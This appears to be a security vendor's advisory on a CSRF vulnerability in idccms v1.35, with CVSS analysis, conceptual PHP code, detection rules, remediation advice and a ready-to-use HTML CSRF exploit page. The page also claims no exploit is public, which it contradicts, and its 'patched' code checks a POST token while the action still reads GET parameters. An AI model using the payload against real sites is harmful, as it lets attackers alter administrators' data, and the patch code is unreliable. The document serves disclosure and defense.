CVE-2024-39020
Executive Summary
CVE-2024-39020 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw exists in the /admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close endpoint, allowing an attacker to trick an authenticated administrator into executing unintended actions, such as closing or modifying VPS API data records. This can lead to unauthorized configuration changes, service disruption, or data integrity compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction and the potential impact on administrative operations. No official patch or exploit code is publicly available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): None (N) – The attacker does not need prior authentication.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact (C): None (N) – No data exposure.
- Integrity Impact (I): Low (L) – Unauthorized modification of VPS API data is possible.
- Availability Impact (A): None (N) – No direct denial of service.
CVSS Score: 4.3 (Medium) – Based on the vector above, the actual score is 4.3, not 0.0 as listed in the NVD placeholder.
Threat Level: Medium – Exploitation requires user interaction but can lead to unauthorized administrative actions.
Deep Dive & Mechanics
The vulnerability resides in the vpsApiData_deal.php script within the admin panel of idccms v1.35. The endpoint /admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close processes requests to modify VPS API data records. The application fails to implement anti-CSRF tokens or validate the origin of requests, allowing an attacker to craft a malicious HTML page or link that, when visited by an authenticated admin, triggers an unintended state-changing request.
Attack Flow:
- The attacker identifies a target running idccms v1.35 with an authenticated admin session.
- The attacker crafts a malicious HTML page containing an auto-submitting form or an image tag pointing to the vulnerable URL.
- The attacker lures the admin to visit the malicious page (e.g., via phishing email or social engineering).
- The admin’s browser sends a forged GET request to
/admin/vpsApiData_deal.php?mudi=rev&nohrefStr=closewith the admin’s session cookies. - The server processes the request, performing the action (e.g., closing a VPS API data record) without verifying the request’s legitimacy.
Root Cause: Lack of CSRF protection mechanisms such as nonce tokens, SameSite cookies, or origin header validation.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code is assumed to be in vpsApiData_deal.php. A patched version would include CSRF token validation.
Vulnerable Code (Conceptual):
<?php
// vpsApiData_deal.php (vulnerable)
$mudi = $_GET['mudi'];
$nohrefStr = $_GET['nohrefStr'];
if ($mudi == 'rev' && $nohrefStr == 'close') {
// Process the action without CSRF check
updateVpsApiData('close');
}
?>
Patched Code (Conceptual):
<?php
// vpsApiData_deal.php (patched)
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF validation failed');
}
$mudi = $_GET['mudi'];
$nohrefStr = $_GET['nohrefStr'];
if ($mudi == 'rev' && $nohrefStr == 'close') {
updateVpsApiData('close');
}
?>
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target running idccms v1.35 with an authenticated admin session.
- Attacker-controlled web server or ability to host a malicious page.
Exploit Payload (HTML):
<!DOCTYPE html>
<html>
<body>
<h1>Click to win a prize!</h1>
<img src="http://target.com/admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close" style="display:none;">
<script>
// Auto-submit form as alternative
document.write('<form id="csrf" action="http://target.com/admin/vpsApiData_deal.php" method="GET">');
document.write('<input type="hidden" name="mudi" value="rev">');
document.write('<input type="hidden" name="nohrefStr" value="close">');
document.write('</form>');
document.getElementById('csrf').submit();
</script>
</body>
</html>
Lab Setup:
- Deploy idccms v1.35 on a local server (e.g., XAMPP or Docker).
- Log in as admin and obtain a valid session cookie.
- Host the malicious HTML on a separate server or local file.
- Open the malicious page in the same browser (with admin session active).
- Observe the VPS API data record being closed without admin consent.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for unusual GET requests to
/admin/vpsApiData_deal.phpwith parametersmudi=revandnohrefStr=close. - Check for requests originating from unexpected Referer headers or missing Referer.
- Enable CSRF protection by implementing nonce tokens and validating them on all state-changing endpoints.
- Use SameSite cookies (set to
LaxorStrict) to prevent cross-site requests.
Hunting Query (Splunk):
index=web sourcetype=access_combined
uri="/admin/vpsApiData_deal.php" mudi="rev" nohrefStr="close"
| stats count by src_ip, user_agent, referer
| where referer NOT LIKE "%targetdomain.com%"
Indicators of Compromise (IOCs)
- URL Pattern:
/admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close - HTTP Method: GET (vulnerable endpoint accepts GET requests for state changes)
- Referer Header: Missing or spoofed (e.g., from attacker-controlled domain)
- User-Agent: Any standard browser (no specific pattern)
- Source IP: Attacker-controlled IP or proxy
- Log Entry: Access log entry with
mudi=revandnohrefStr=closeparameters
Detection Engineering
YARA Rule
rule idccms_csrf_cve_2024_39020 {
meta:
description = "Detects CSRF exploitation attempts against idccms v1.35"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-39020"
strings:
$url_pattern = "/admin/vpsApiData_deal.php?mudi=rev&nohrefStr=close"
$param_mudi = "mudi=rev"
$param_nohref = "nohrefStr=close"
condition:
any of them
}
Sigma Rule
title: CSRF Exploitation Attempt Against idccms v1.35
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects GET requests to the vulnerable idccms endpoint indicating CSRF exploitation.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
c-uri: '/admin/vpsApiData_deal.php'
cs-uri-query:
- '*mudi=rev*'
- '*nohrefStr=close*'
condition: selection
falsepositives:
- Legitimate admin actions (if CSRF protection is missing)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-39020 - idccms CSRF Exploitation Attempt"; flow:to_server; content:"GET"; http_method; content:"/admin/vpsApiData_deal.php"; http_uri; content:"mudi=rev"; http_uri; content:"nohrefStr=close"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Implement CSRF Tokens: Add a unique, unpredictable token to all state-changing forms and validate it server-side.
- Use SameSite Cookies: Set the
SameSiteattribute toLaxorStricton session cookies. - Validate Origin Headers: Check the
OriginorRefererheader to ensure requests originate from the same site. - Change HTTP Method: Require POST requests for state-changing actions instead of GET.
Long-Term Fix:
- Upgrade to a patched version of idccms if available.
- Conduct a security audit of the entire admin panel for similar CSRF vulnerabilities.
- Implement a Web Application Firewall (WAF) rule to block requests matching the vulnerable pattern.
Workaround:
- Restrict access to the admin panel via IP whitelisting or VPN.
- Educate administrators about phishing risks and the importance of logging out after sessions.
Valters IT